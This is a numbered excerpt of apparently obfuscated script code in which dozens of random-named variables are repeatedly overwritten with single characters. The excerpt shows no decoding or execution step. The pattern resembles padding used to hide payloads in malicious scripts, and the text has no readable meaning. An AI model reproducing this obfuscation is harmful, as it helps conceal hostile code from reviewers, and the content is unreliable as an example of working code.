399	ibgvt = "P";
400	ibgvt = "p";
401	ibgvt = "q";
402	ibgvt = "o";
403	ibgvt = "i";
404	ibgvt = "E";
405	ibgvt = "J";
406	ibgvt = "E";
407	ibgvt = "r";
408	ibgvt = "t";
409	ibgvt = "U";
410	ibgvt = "b";
411	ibgvt = "N";
412	surkawk = "f";
413	surkawk = "e";
414	surkawk = "N";
415	surkawk = "J";
416	surkawk = "A";
417	surkawk = "U";
418	surkawk = "R";
419	surkawk = "A";
420	surkawk = "z";
421	surkawk = "Z";
422	surkawk = "q";
423	surkawk = "a";
424	surkawk = "F";
425	surkawk = "z";
426	surkawk = "v";
427	surkawk = "C";
428	surkawk = "t";
429	surkawk = "D";
430	surkawk = "F";
431	surkawk = "B";
432	surkawk = "e";
433	surkawk = "F";
434	surkawk = "D";
435	surkawk = "e";
436	surkawk = "z";
437	surkawk = "O";
438	surkawk = "d";
439	surkawk = "X";
440	surkawk = "k";
441	surkawk = "H";
442	surkawk = "j";
443	surkawk = "X";
444	surkawk = "0";
445	fxmcff = "J";
446	fxmcff = "O";
447	fxmcff = "V";
448	fxmcff = "j";
449	fxmcff = "O";
450	fxmcff = "D";
451	fxmcff = "S";
452	fxmcff = "m";
453	fxmcff = "v";
454	fxmcff = "F";
455	fxmcff = "x";
456	fxmcff = "D";
457	fxmcff = "i";
458	fxmcff = "O";
459	fxmcff = "b";
460	fxmcff = "A";
461	fxmcff = "I";
462	fxmcff = "K";
463	fxmcff = "H";
464	fxmcff = "p";
465	fxmcff = "s";
466	fxmcff = "v";
467	fxmcff = "P";
468	fxmcff = "u";
469	fxmcff = "g";
470	fxmcff = "W";
471	fxmcff = "q";
472	fxmcff = "u";
473	fxmcff = "H";
474	fxmcff = "I";
475	fxmcff = "R";
476	fxmcff = "f";
477	fxmcff = "H";
478	fxmcff = "X";
479	fxmcff = "Z";
480	fxmcff = "h";
481	watmmhaaw = "R";
482	watmmhaaw = "O";
483	watmmhaaw = "d";
484	watmmhaaw = "p";
485	watmmhaaw = "t";
486	watmmhaaw = "h";
487	watmmhaaw = "p";
488	watmmhaaw = "H";
489	watmmhaaw = "J";
490	watmmhaaw = "q";
491	watmmhaaw = "g";
492	watmmhaaw = "v";
493	watmmhaaw = "z";
494	watmmhaaw = "X";
495	watmmhaaw = "c";
496	watmmhaaw = "U";
497	watmmhaaw = "k";
498	watmmhaaw = "y";
499	watmmhaaw = "5";
500	twfws = "q";
501	twfws = "x";
502	twfws = "i";
503	twfws = "L";
504	twfws = "J";
505	twfws = "f";
506	twfws = "z";
507	twfws = "M";
508	twfws = "z";
509	twfws = "m";
510	twfws = "y";
511	twfws = "O";
512	twfws = "J";
513	twfws = "Z";
514	twfws = "l";
515	twfws = "/";
516	qbcoom = "c";
517	qbcoom = "k";
518	qbcoom = "i";
519	qbcoom = "S";
520	qbcoom = "w";
521	qbcoom = "K";
522	qbcoom = "d";
523	qbcoom = "I";
524	qbcoom = "B";
525	qbcoom = "s";
526	qbcoom = "T";
527	qbcoom = "V";
528	qbcoom = "E";
529	qbcoom = "G";
530	qbcoom = "H";
531	qbcoom = "P";
532	qbcoom = "g";
533	qbcoom = "S";
534	qbcoom = "u";
535	qbcoom = "H";
536	qbcoom = "L";
537	qbcoom = "L";
538	qbcoom = "g";
539	qbcoom = "d";
540	qbcoom = "Q";
541	qbcoom = "c";
542	qbcoom = "S";
543	qbcoom = "N";
544	qbcoom = "U";
545	qbcoom = "O";
546	qbcoom = "m";
547	qbcoom = "G";
548	qbcoom = "P";
549	kuhxjvmx = "t";
550	kuhxjvmx = "r";
551	kuhxjvmx = "t";
552	kuhxjvmx = "i";
553	kuhxjvmx = "S";
554	kuhxjvmx = "W";
555	kuhxjvmx = "K";
556	kuhxjvmx = "M";
557	kuhxjvmx = "d";
558	kuhxjvmx = "h";
559	kuhxjvmx = "T";
560	kuhxjvmx = "z";
561	kuhxjvmx = "u";
562	kuhxjvmx = "Q";
563	kuhxjvmx = "d";
564	kuhxjvmx = "C";
565	kuhxjvmx = "M";
566	kuhxjvmx = "Y";
567	kuhxjvmx = "y";
568	kuhxjvmx = "c";
569	kuhxjvmx = "J";
570	kuhxjvmx = "v";
571	kuhxjvmx = "p";
572	ljewogalr = "R";
573	ljewogalr = "j";
574	ljewogalr = "V";
575	ljewogalr = "I";
576	ljewogalr = "Y";
577	ljewogalr = "m";
578	ljewogalr = "u";
579	ljewogalr = "f";
580	ljewogalr = "R";
581	ljewogalr = "C";
582	ljewogalr = "C";
583	ljewogalr = "m";
584	ljewogalr = "P";
585	ljewogalr = "Z";
586	ljewogalr = "l";
587	ljewogalr = "b";
588	ljewogalr = "U";
589	ljewogalr = "M";
590	ljewogalr = "B";
591	ljewogalr = "Y";
592	ljewogalr = "F";
593	ljewogalr = "F";
594	ljewogalr = "z";
595	ljewogalr = "X";
596	ljewogalr = "u";
597	ljewogalr = "D";
598	ljewogalr = "A";
599	ljewogalr = "j";
600	ljewogalr = "w";
601	ljewogalr = "F";
602	ljewogalr = "i";
603	syqhokpj = "d";
604	syqhokpj = "x";
605	syqhokpj = "A";
606	syqhokpj = "l";
607	syqhokpj = "l";
608	syqhokpj = "v";
609	syqhokpj = "z";
610	syqhokpj = "G";
611	syqhokpj = "s";
612	syqhokpj = "z";
613	syqhokpj = "i";
614	syqhokpj = "O";
615	syqhokpj = "T";
616	syqhokpj = "L";
617	luyguu = "v";
618	ohhpssqh = "I";
619	ohhpssqh = "Y";
620	ohhpssqh = "d";
621	ohhpssqh = "k";
622	ohhpssqh = "G";
623	ohhpssqh = "V";
624	ohhpssqh = "g";
625	ohhpssqh = "D";
626	ohhpssqh = "k";
627	ohhpssqh = "n";
628	ohhpssqh = "n";
629	ohhpssqh = "Z";
630	ohhpssqh = "W";
631	ohhpssqh = "y";
632	ohhpssqh = "g";
633	ohhpssqh = "j";
634	ohhpssqh = "A";
635	ohhpssqh = "l";
636	ohhpssqh = "o";
637	ohhpssqh = "p";
638	ohhpssqh = "o";
639	ohhpssqh = "X";
640	ohhpssqh = "L";
641	ohhpssqh = "S";
642	ohhpssqh = "e";
643	ohhpssqh = "x";
644	ohhpssqh = "G";
645	ohhpssqh = "e";
646	ohhpssqh = "V";
647	ohhpssqh = "E";
648	ohhpssqh = "o";
649	ohhpssqh = "T";
650	ohhpssqh = "S";
651	ohhpssqh = "C";
652	ohhpssqh = "b";
653	ohhpssqh = "k";
654	ohhpssqh = "E";
655	ohhpssqh = "w";
656	ohhpssqh = "K";
657	ohhpssqh = "1";
658	bceuhu = "I";
659	bceuhu = "v";
660	bceuhu = "B";
661	bceuhu = "i";
662	bceuhu = "f";
663	bceuhu = "g";
664	bceuhu = "N";
665	bceuhu = "C";
666	bceuhu = "Q";
667	bceuhu = "U";
668	bceuhu = "e";
669	bceuhu = "M";
670	bceuhu = "e";
671	bceuhu = "I";
672	bceuhu = "a";
673	bceuhu = "D";
674	bceuhu = "u";
675	bceuhu = "P";
676	bceuhu = "s";
677	bceuhu = "y";
678	bceuhu = "z";
679	bceuhu = "w";
680	bceuhu = "H";
681	bceuhu = "Z";
682	bceuhu = "h";
683	bceuhu = "m";
684	bceuhu = "u";
685	egufimb = "P";
686	egufimb = "B";
687	egufimb = "J";
688	egufimb = "e";
689	egufimb = "Z";
690	egufimb = "R";
691	egufimb = "C";
692	egufimb = "o";
693	egufimb = "J";
694	egufimb = "V";
695	egufimb = "z";
696	egufimb = "Y";
697	egufimb = "W";
698	egufimb = "s";
699	egufimb = "c";
700	egufimb = "l";
701	egufimb = "T";
702	egufimb = "N";
703	egufimb = "F";
704	egufimb = "d";
705	egufimb = "N";
706	egufimb = "X";
707	egufimb = "t";
708	egufimb = "x";
709	egufimb = "3";
710	eccvv = "d";
711	eccvv = "o";
712	eccvv = "s";
713	eccvv = "C";
714	eccvv = "T";
715	eccvv = "Z";
716	eccvv = "Z";
717	eccvv = "U";
718	eccvv = "r";
719	eccvv = "W";
720	eccvv = "h";
721	eccvv = "D";
722	eccvv = "O";
723	eccvv = "X";
724	eccvv = "O";
725	eccvv = "V";
726	eccvv = "m";
727	eccvv = "Z";
728	eccvv = "N";
729	eccvv = "X";
730	eccvv = "P";
731	eccvv = "G";
732	eccvv = "V";
733	eccvv = "U";
734	eccvv = "D";
735	eccvv = "i";
736	eccvv = "c";
737	eccvv = "Z";
738	eccvv = "k";
739	eccvv = "@";
740	leyonkhxt = "n";
741	leyonkhxt = "P";
742	leyonkhxt = "I";
743	leyonkhxt = "E";
744	leyonkhxt = "K";
745	leyonkhxt = "o";
746	leyonkhxt = "O";
747	leyonkhxt = "z";
748	leyonkhxt = "T";
749	leyonkhxt = "Z";
750	leyonkhxt = "D";
751	leyonkhxt = "p";
752	leyonkhxt = "k";
753	leyonkhxt = "N";
754	leyonkhxt = "g";
755	leyonkhxt = "o";
756	leyonkhxt = "k";
757	leyonkhxt = "p";
758	leyonkhxt = "x";
759	leyonkhxt = "W";
760	leyonkhxt = "L";
761	leyonkhxt = "A";
762	leyonkhxt = "Z";
763	leyonkhxt = "v";
764	leyonkhxt = "q";
765	leyonkhxt = "m";
766	leyonkhxt = "k";
767	leyonkhxt = "c";
768	leyonkhxt = "u";
769	leyonkhxt = "v";
770	leyonkhxt = "u";
771	leyonkhxt = "\\";
772	ahtjh = "W";
773	ahtjh = "n";
774	ahtjh = "E";
775	ahtjh = "L";
776	ahtjh = "M";
777	ahtjh = "F";
778	ahtjh = "R";
779	ahtjh = "d";
780	ahtjh = "D";
781	ahtjh = "c";
782	ahtjh = "E";
783	ahtjh = "p";
784	ahtjh = "s";
785	ahtjh = "o";
786	ahtjh = "b";
787	ahtjh = "O";
788	ahtjh = "k";
789	ahtjh = "f";
790	ahtjh = "R";
791	ahtjh = "F";
792	ahtjh = "K";
793	ahtjh = "b";
794	ahtjh = "A";
795	ahtjh = "i";
796	ahtjh = "G";
797	ahtjh = "Z";
798	ahtjh = "P";
799	ahtjh = "g";
800	ahtjh = "m";
801	ahtjh = "U";
802	ahtjh = "L";
803	ahtjh = "V";
804	ahtjh = "r";
805	ahtjh = "I";
806	ahtjh = "J";
807	ahtjh = "O";
808	ahtjh = "Y";
809	rwsgbw = "h";
810	rwsgbw = "y";
811	rwsgbw = "E";
812	rwsgbw = "P";
813	rwsgbw = "N";
814	rwsgbw = "x";
815	rwsgbw = "e";
816	rwsgbw = "K";
817	rwsgbw = "g";
818	rwsgbw = "A";
819	rwsgbw = "N";
820	rwsgbw = "V";
821	rwsgbw = "U";
822	rwsgbw = "S";
823	rwsgbw = "D";
824	rwsgbw = "V";
825	rwsgbw = "n";
826	rwsgbw = "P";
827	rwsgbw = "C";
828	rwsgbw = "j";
829	rwsgbw = "z";
830	rwsgbw = "D";
831	rwsgbw = "n";
832	rwsgbw = "h";
833	rwsgbw = "Q";
834	rwsgbw = "C";
835	rwsgbw = "d";
836	rwsgbw = "Q";
837	rwsgbw = "e";
838	rwsgbw = "n";
839	rwsgbw = "L";
840	rwsgbw = "z";
841	rwsgbw = "a";
842	rwsgbw = "Y";
843	rwsgbw = "c";
844	rwsgbw = "Q";
845	rwsgbw = "k";
846	rwsgbw = "z";
847	rwsgbw = "l";
848	rwsgbw = "D";
849	rwsgbw = "z";
850	rwsgbw = "8";
851	jxjenclh = "F";
852	jxjenclh = "A";
853	jxjenclh = "S";
854	jxjenclh = "I";
855	jxjenclh = "Y";
856	jxjenclh = "r";
857	jxjenclh = "e";
858	jxjenclh = "t";
859	jxjenclh = "l";
860	jxjenclh = "Q";
861	jxjenclh = "F";
862	jxjenclh = "c";
863	jxjenclh = "w";
864	jxjenclh = "Q";
865	jxjenclh = "s";
866	jxjenclh = "q";
867	jxjenclh = "A";
868	jxjenclh = "a";
869	jxjenclh = "X";
870	jxjenclh = "T";
871	jxjenclh = "l";
872	jxjenclh = "h";
873	jxjenclh = "U";
874	jxjenclh = "h";
875	jxjenclh = "H";
876	jxjenclh = "r";
877	jxjenclh = "L";
878	jxjenclh = "C";
879	jxjenclh = "Y";
880	jxjenclh = "B";
881	jxjenclh = "f";
882	jxjenclh = "r";
883	jxjenclh = "Z";
884	jxjenclh = "u";
885	jxjenclh = "j";
886	jxjenclh = "T";
887	jxjenclh = "i";
888	jxjenclh = "v";
889	jxjenclh = "f";
890	eoxkrszl = "a";
891	eoxkrszl = "n";
892	eoxkrszl = "v";
893	eoxkrszl = "n";
894	eoxkrszl = "k";
895	eoxkrszl = "L";
896	eoxkrszl = "Y";
897	eoxkrszl = "e";
898	eoxkrszl = "B";
899	eoxkrszl = "A";
900	eoxkrszl = "e";
901	eoxkrszl = "f";
902	eoxkrszl = "Z";
903	eoxkrszl = "I";
904	eoxkrszl = "j";
905	eoxkrszl = "I";
906	eoxkrszl = "O";
907	eoxkrszl = "p";
908	eoxkrszl = "n";
909	eoxkrszl = "u";
910	eoxkrszl = "R";
911	eoxkrszl = "j";
912	eoxkrszl = "R";
913	eoxkrszl = "F";
914	eoxkrszl = "l";
915	jwkym = "K";
916	jwkym = "z";
917	jwkym = "a";
918	jwkym = "q";
919	jwkym = "O";
920	jwkym = "v";
921	jwkym = "D";
922	jwkym = "w";
923	jwkym = "e";
924	jwkym = "p";
925	jwkym = "N";
926	jwkym = "X";
927	jwkym = "q";
928	jwkym = "B";
929	jwkym = "L";
930	jwkym = "W";
931	jwkym = "U";
932	jwkym = "o";
933	jwkym = "g";
934	jwkym = "&";
935	ddtndg = "p";
936	ddtndg = "L";
937	ddtndg = "q";
938	ddtndg = "T";
939	ddtndg = "q";
940	ddtndg = "G";
941	ddtndg = "o";
942	ddtndg = "i";
943	ddtndg = "N";
944	ddtndg = "k";
945	ddtndg = "c";
946	ddtndg = "h";
947	ddtndg = "R";
948	ddtndg = "o";
949	ddtndg = "G";
950	ddtndg = "P";
951	ddtndg = "H";
952	ddtndg = "v";
953	ddtndg = "i";
954	ddtndg = "i";
955	ddtndg = "C";
956	ddtndg = "t";
957	ddtndg = "r";
958	ddtndg = "d";
959	ddtndg = "F";
960	ddtndg = "H";
961	ddtndg = "-";
962	qwcsxpd = "Q";
963	qwcsxpd = "e";
964	qwcsxpd = "l";
965	qwcsxpd = "O";
966	qwcsxpd = "f";
967	qwcsxpd = "q";
968	clwaptcpw = "B";
969	clwaptcpw = "g";
970	clwaptcpw = "Q";
971	clwaptcpw = "W";
972	clwaptcpw = "W";
973	clwaptcpw = "i";
974	clwaptcpw = "w";
975	clwaptcpw = "N";
976	clwaptcpw = "a";
977	clwaptcpw = "A";
978	clwaptcpw = "d";
979	clwaptcpw = "C";
980	clwaptcpw = "A";
981	clwaptcpw = "Z";
982	clwaptcpw = "X";
983	clwaptcpw = "I";
984	clwaptcpw = "i";
985	clwaptcpw = "s";
986	clwaptcpw = "v";
987	clwaptcpw = "G";
988	clwaptcpw = "C";
989	clwaptcpw = "j";
990	clwaptcpw = "h";
991	clwaptcpw = "n";
992	clwaptcpw = "R";
993	clwaptcpw = "b";
994	clwaptcpw = "t";
995	clwaptcpw = "g";
996	clwaptcpw = "Z";
997	clwaptcpw = "n";
998	clwaptcpw = "f";
999	clwaptcpw = "l";
1000	clwaptcpw = "k";
1001	jemaazxt = "g";
1002	jemaazxt = "i";
1003	jemaazxt = "K";
1004	htmnq = "a";
1005	htmnq = "G";
1006	htmnq = "c";
1007	htmnq = "R";
1008	htmnq = "J";
1009	htmnq = "Y";
1010	htmnq = "r";
1011	htmnq = "F";
1012	htmnq = "A";
1013	htmnq = "l";
1014	htmnq = "F";
1015	htmnq = "e";
1016	htmnq = "x";
1017	htmnq = "G";
1018	htmnq = "c";
1019	htmnq = "b";
1020	htmnq = "Y";
1021	htmnq = "d";
1022	htmnq = "B";
1023	htmnq = "f";
1024	htmnq = "E";
1025	htmnq = "Y";
1026	htmnq = "g";
1027	htmnq = "w";
1028	htmnq = "9";
1029	nufnwzzdt = "v";
1030	nufnwzzdt = "b";
1031	nufnwzzdt = "a";
1032	nufnwzzdt = ".";
1033	cpvdsuqjk = "C";
1034	cpvdsuqjk = "N";
1035	cpvdsuqjk = "r";
1036	cpvdsuqjk = "R";
1037	cpvdsuqjk = "v";
1038	cpvdsuqjk = "M";
1039	cpvdsuqjk = "k";
1040	cpvdsuqjk = "A";
1041	cpvdsuqjk = "l";
1042	cpvdsuqjk = "X";
1043	cpvdsuqjk = "c";
1044	cpvdsuqjk = "j";
1045	cpvdsuqjk = "c";
1046	cpvdsuqjk = "F";
1047	kivqfsu = "y";
1048	kivqfsu = "g";
1049	kivqfsu = "q";
1050	kivqfsu = "b";
1051	kivqfsu = "t";
1052	kivqfsu = "f";
1053	kivqfsu = "J";
1054	kivqfsu = "z";
1055	kivqfsu = "K";
1056	kivqfsu = "F";
1057	kivqfsu = "x";
1058	kivqfsu = "d";
1059	kivqfsu = "Q";
1060	kivqfsu = "R";
1061	kivqfsu = "U";
1062	kivqfsu = "K";
1063	kivqfsu = "j";
1064	kivqfsu = "f";
1065	kivqfsu = "p";
1066	kivqfsu = "A";
1067	kivqfsu = "s";
1068	kivqfsu = "D";
1069	kivqfsu = "c";
1070	kivqfsu = "M";
1071	kivqfsu = "L";
1072	kivqfsu = "B";
1073	kivqfsu = "F";
1074	kivqfsu = "P";
1075	kivqfsu = "e";
1076	kivqfsu = "U";
1077	kivqfsu = "m";
1078	kivqfsu = "j";
1079	kivqfsu = "B";
1080	kivqfsu = "y";
1081	kivqfsu = "U";
1082	poxchbf = "g";
1083	poxchbf = "m";
1084	ucrft = "f";
1085	ucrft = "u";
1086	ucrft = "k";
1087	ucrft = "Y";
1088	ucrft = "X";
1089	ucrft = "j";
1090	ucrft = "j";
1091	ucrft = "Q";
1092	ucrft = "a";
1093	ucrft = "f";
1094	ucrft = "P";
1095	ucrft = "F";
1096	ucrft = "b";
1097	ucrft = "C";
1098	ucrft = "E";
1099	ucrft = "h";
1100	ucrft = "Z";
1101	ucrft = "L";
1102	ucrft = "A";
1103	ucrft = "C";
1104	ucrft = "o";
1105	ucrft = "x";
1106	ucrft = "r";
1107	ucrft = "o";
1108	ucrft = "Q";
1109	ucrft = "U";
1110	ucrft = "g";
1111	ucrft = "j";
1112	ucrft = "y";
1113	ucrft = "h";
1114	ucrft = "N";
1115	ucrft = "R";
1116	ucrft = "j";
1117	argimtqu = "o";
1118	argimtqu = "E";
1119	argimtqu = "u";
1120	argimtqu = "h";
1121	argimtqu = "J";
1122	argimtqu = "o";
1123	argimtqu = "r";
1124	argimtqu = "z";
1125	argimtqu = "L";
1126	argimtqu = "r";
1127	argimtqu = "i";
1128	argimtqu = "h";
1129	argimtqu = "R";
1130	argimtqu = "m";
1131	argimtqu = "n";
1132	argimtqu = "y";
1133	argimtqu = "Q";
1134	argimtqu = "o";
1135	argimtqu = "Z";
1136	argimtqu = "d";
1137	argimtqu = "j";
1138	argimtqu = "O";
1139	argimtqu = "L";
1140	argimtqu = "H";
1141	argimtqu = "d";
1142	argimtqu = "e";
1143	argimtqu = "U";
1144	argimtqu = "C";
1145	argimtqu = "H";
1146	argimtqu = "P";
1147	argimtqu = "c";
1148	argimtqu = "N";
1149	argimtqu = "h";
1150	argimtqu = "o";
1151	argimtqu = "D";
1152	argimtqu = "z";
1153	argimtqu = "J";
1154	argimtqu = "w";
1155	argimtqu = "O";
1156	argimtqu = "O";
1157	argimtqu = "u";
1158	argimtqu = "x";
1159	argimtqu = "w";
1160	argimtqu = "H";
1161	lwgnuqe = "C";
1162	lwgnuqe = "W";
1163	lwgnuqe = "e";
1164	lwgnuqe = "U";
1165	lwgnuqe = "z";
1166	lwgnuqe = "f";
1167	lwgnuqe = "x";
1168	lwgnuqe = "J";
1169	lwgnuqe = "e";
1170	lwgnuqe = "j";
1171	lwgnuqe = "Q";
1172	lwgnuqe = "o";
1173	lwgnuqe = "v";
1174	lwgnuqe = "Z";
1175	lwgnuqe = "a";
1176	lwgnuqe = "z";
1177	lwgnuqe = "r";
1178	lwgnuqe = "p";
1179	lwgnuqe = "U";
1180	lwgnuqe = "X";
1181	lwgnuqe = "E";
1182	lwgnuqe = "i";
1183	lwgnuqe = "j";
1184	lwgnuqe = "X";
1185	lwgnuqe = "j";
1186	lwgnuqe = "q";
1187	lwgnuqe = "H";
1188	lwgnuqe = "6";
1189	yrmdyx = "m";
1190	yrmdyx = "v";
1191	yrmdyx = "R";
1192	yrmdyx = "I";
1193	yrmdyx = "k";
1194	yrmdyx = "T";
1195	yrmdyx = "E";
1196	yrmdyx = "g";
1197	yrmdyx = "T";
1198	yrmdyx = "d";
1199	yrmdyx = "p";
1200	yrmdyx = "O";
1201	yrmdyx = "R";
1202	yrmdyx = "l";
1203	yrmdyx = "x";
1204	yrmdyx = "J";
1205	yrmdyx = "o";
1206	yrmdyx = "a";
1207	yrmdyx = "F";
1208	yrmdyx = "r";
1209	yrmdyx = "N";
1210	yrmdyx = "N";
1211	yrmdyx = "Q";
1212	yrmdyx = "n";
1213	yrmdyx = "B";
1214	yrmdyx = "G";
1215	yrmdyx = "h";
1216	yrmdyx = "J";
1217	yrmdyx = "T";
1218	yrmdyx = "N";
1219	yrmdyx = "y";
1220	yrmdyx = "T";
1221	yrmdyx = "h";
1222	yrmdyx = "r";
1223	yrmdyx = "F";
1224	yrmdyx = "Y";
1225	yrmdyx = "4";
1226	fycsyz = "E";
1227	fycsyz = "v";
1228	fycsyz = "Q";
1229	fycsyz = "q";
1230	fycsyz = "b";
1231	fycsyz = "S";
1232	fycsyz = "J";
1233	fycsyz = "v";
1234	fycsyz = "B";
1235	fycsyz = "e";
1236	fycsyz = "V";
1237	fycsyz = "a";
1238	fycsyz = "B";
1239	fycsyz = "n";
1240	fycsyz = "G";
1241	fycsyz = "i";
1242	fycsyz = "N";
1243	fycsyz = "q";
1244	fycsyz = "f";
1245	fycsyz = "o";
1246	fycsyz = "K";
1247	fycsyz = "n";
1248	fycsyz = "p";
1249	fycsyz = "a";
1250	lmkcgd = "f";
1251	lmkcgd = "W";
1252	lmkcgd = "x";
1253	lmkcgd = "q";
1254	lmkcgd = "K";
1255	lmkcgd = "g";
1256	lmkcgd = "W";
1257	lmkcgd = "s";
1258	lmkcgd = "a";
1259	lmkcgd = "J";
1260	lmkcgd = "P";
1261	lmkcgd = "o";
1262	lmkcgd = "c";
1263	lmkcgd = "l";
1264	lmkcgd = "a";
1265	lmkcgd = "m";
1266	lmkcgd = "Q";
1267	rkzetjcr = "U";
1268	rkzetjcr = "t";
1269	rkzetjcr = "e";
1270	rkzetjcr = "a";
1271	rkzetjcr = "w";
1272	rkzetjcr = "E";
1273	rkzetjcr = "O";
1274	rkzetjcr = "d";
1275	rkzetjcr = "V";
1276	rkzetjcr = "j";
1277	rkzetjcr = "b";
1278	rkzetjcr = "I";
1279	rkzetjcr = "h";
1280	rkzetjcr = "i";
1281	rkzetjcr = "P";
1282	rkzetjcr = "p";
1283	rkzetjcr = "K";
1284	rkzetjcr = "h";
1285	rkzetjcr = "L";
1286	rkzetjcr = "o";
1287	rkzetjcr = "S";
1288	rkzetjcr = "U";
1289	rkzetjcr = "v";
1290	rkzetjcr = "V";
1291	rkzetjcr = "w";
1292	rkzetjcr = "T";
1293	rkzetjcr = "B";
1294	rkzetjcr = "u";
1295	rkzetjcr = "w";
1296	rkzetjcr = "S";
1297	rkzetjcr = "T";
1298	rkzetjcr = "J";
1299	rkzetjcr = "O";
1300	rkzetjcr = "n";
1301	rkzetjcr = "P";
1302	rkzetjcr = "o";
1303	rkzetjcr = "F";
1304	rkzetjcr = "x";
1305	rkzetjcr = "y";
1306	rkzetjcr = "N";
1307	rkzetjcr = "f";
1308	rkzetjcr = "E";
1309	rkzetjcr = "T";
1310	rkzetjcr = "C";
1311	ouyko = "H";
1312	ouyko = "Q";
1313	ouyko = "u";
1314	ouyko = "D";
1315	ouyko = "g";
1316	ouyko = "R";
1317	ouyko = "m";
1318	ouyko = "d";
1319	ouyko = "g";
1320	ouyko = "Y";
1321	ouyko = "w";
1322	kwdiihmpr = "L";
1323	kwdiihmpr = "G";
1324	kwdiihmpr = "a";
1325	kwdiihmpr = "N";
1326	kwdiihmpr = "P";
1327	kwdiihmpr = "z";
1328	kwdiihmpr = "G";
1329	kwdiihmpr = "h";
1330	kwdiihmpr = "P";
1331	kwdiihmpr = "a";
1332	kwdiihmpr = "o";
1333	kwdiihmpr = "G";
1334	kwdiihmpr = "I";
1335	kwdiihmpr = "x";
1336	kwdiihmpr = "z";
1337	kwdiihmpr = "M";
1338	kwdiihmpr = "C";
1339	kwdiihmpr = "w";
1340	kwdiihmpr = "f";
1341	kwdiihmpr = "y";
1342	kwdiihmpr = "s";
1343	kwdiihmpr = "O";
1344	kwdiihmpr = "N";
1345	kwdiihmpr = "M";
1346	kwdiihmpr = "d";
1347	kwdiihmpr = "f";
1348	kwdiihmpr = "X";
1349	kwdiihmpr = "D";
1350	kwdiihmpr = "P";
1351	kwdiihmpr = "p";
1352	kwdiihmpr = "A";
1353	kwdiihmpr = "I";
1354	kwdiihmpr = "d";
1355	kwdiihmpr = "\"";
1356	zkmxtqfp = "I";
1357	zkmxtqfp = "P";
1358	zkmxtqfp = "W";
1359	zkmxtqfp = "U";
1360	zkmxtqfp = "p";
1361	zkmxtqfp = "K";
1362	zkmxtqfp = "B";
1363	zkmxtqfp = "b";
1364	zkmxtqfp = "h";
1365	zkmxtqfp = "Z";
1366	zkmxtqfp = "B";
1367	zkmxtqfp = "D";
1368	zkmxtqfp = "v";
1369	zkmxtqfp = "m";
1370	zkmxtqfp = "F";
1371	zkmxtqfp = "K";
1372	zkmxtqfp = "O";
1373	zkmxtqfp = "a";
1374	zkmxtqfp = "l";
1375	zkmxtqfp = "L";
1376	zkmxtqfp = "T";
1377	zkmxtqfp = "a";
1378	zkmxtqfp = "v";
1379	zkmxtqfp = "U";
1380	zkmxtqfp = "L";
1381	zkmxtqfp = "i";
1382	zkmxtqfp = "K";
1383	zkmxtqfp = "c";
1384	zkmxtqfp = "S";
1385	zkmxtqfp = "h";
1386	zkmxtqfp = "M";
1387	zkmxtqfp = "I";
1388	zkmxtqfp = "v";
1389	zkmxtqfp = "N";
1390	zkmxtqfp = "B";
1391	zkmxtqfp = "Y";
1392	zkmxtqfp = "s";
1393	zkmxtqfp = "l";
1394	zkmxtqfp = "K";
1395	zkmxtqfp = "R";
1396	oykxjshou = "l";
1397	oykxjshou = "V";
1398	oykxjshou = "a";
1399	oykxjshou = "d";
1400	oykxjshou = "i";
1401	oykxjshou = "g";
1402	oykxjshou = "A";
1403	oykxjshou = "z";
1404	oykxjshou = "f";
1405	oykxjshou = "p";
1406	oykxjshou = "f";
1407	oykxjshou = "K";
1408	oykxjshou = "c";
1409	oykxjshou = "z";
1410	oykxjshou = "j";
1411	oykxjshou = "S";
1412	oykxjshou = "o";
1413	oykxjshou = "P";
1414	oykxjshou = " ";
1415	ertwdodf = "K";
1416	ertwdodf = "I";
1417	ertwdodf = "A";
1418	ertwdodf = "Q";
1419	ertwdodf = "n";
1420	ertwdodf = "x";
1421	ertwdodf = "K";
1422	ertwdodf = "l";
1423	ertwdodf = "H";
1424	ertwdodf = "f";
1425	ertwdodf = "h";
1426	ertwdodf = "H";
1427	ertwdodf = "D";
1428	ertwdodf = "G";
1429	ertwdodf = "q";
1430	ertwdodf = "U";
1431	ertwdodf = "M";
1432	ertwdodf = "c";
1433	ertwdodf = "c";
1434	ertwdodf = "r";
1435	ertwdodf = "I";
1436	wzoijdo = "L";
1437	wzoijdo = "a";
1438	wzoijdo = "j";
1439	wzoijdo = "J";
1440	wzoijdo = "p";
1441	wzoijdo = "G";
1442	wzoijdo = "S";
1443	wzoijdo = "M";
1444	wzoijdo = "B";
1445	wzoijdo = "W";
1446	wzoijdo = "n";
1447	wzoijdo = "l";
1448	wzoijdo = "Q";
1449	wzoijdo = "R";
1450	wzoijdo = "t";
1451	lzhfu = "o";
1452	lzhfu = "E";
1453	lzhfu = "K";
1454	lzhfu = "u";
1455	lzhfu = "V";
1456	lzhfu = "N";
1457	lzhfu = "y";
1458	lzhfu = "M";
1459	lzhfu = "G";
1460	lzhfu = "P";
1461	lzhfu = "j";
1462	lzhfu = "E";
1463	lzhfu = "U";
1464	lzhfu = "V";
1465	lzhfu = "u";
1466	lzhfu = "F";
1467	lzhfu = "S";
1468	lzhfu = "U";
1469	lzhfu = "I";
1470	lzhfu = "U";
1471	lzhfu = "M";
1472	lzhfu = "D";
1473	lzhfu = "E";
1474	lzhfu = "s";
1475	lzhfu = "O";
1476	lzhfu = "X";
1477	lzhfu = "t";
1478	lzhfu = "l";
1479	lzhfu = "b";
1480	lzhfu = "z";
1481	lzhfu = "a";
1482	lzhfu = "v";
1483	lzhfu = "w";
1484	lzhfu = "N";
1485	lzhfu = "y";
1486	lzhfu = "O";
1487	lzhfu = "f";
1488	lzhfu = "Y";
1489	lzhfu = "z";
1490	lzhfu = "d";
1491	aucdw = "D";
1492	aucdw = "P";
1493	aucdw = "s";
1494	aucdw = "B";
1495	aucdw = "n";
1496	aucdw = "i";
1497	aucdw = "S";
1498	aucdw = "A";
1499	aucdw = "P";
1500	aucdw = "T";
1501	aucdw = "b";
1502	aucdw = "W";
1503	aucdw = "x";
1504	aucdw = "q";
1505	aucdw = "K";
1506	aucdw = "I";
1507	aucdw = "F";
1508	aucdw = "j";
1509	aucdw = "J";
1510	aucdw = "a";
1511	aucdw = "u";
1512	aucdw = "E";
1513	aucdw = "n";
1514	aucdw = "T";
1515	aucdw = "A";
1516	aucdw = "F";
1517	aucdw = "f";
1518	aucdw = "b";
1519	eefok = "J";
1520	eefok = "G";
1521	eefok = "T";
1522	eefok = "w";
1523	eefok = "X";
1524	eefok = "K";
1525	eefok = "Q";
1526	eefok = "V";
1527	eefok = "x";
1528	eefok = "z";
1529	eefok = "S";
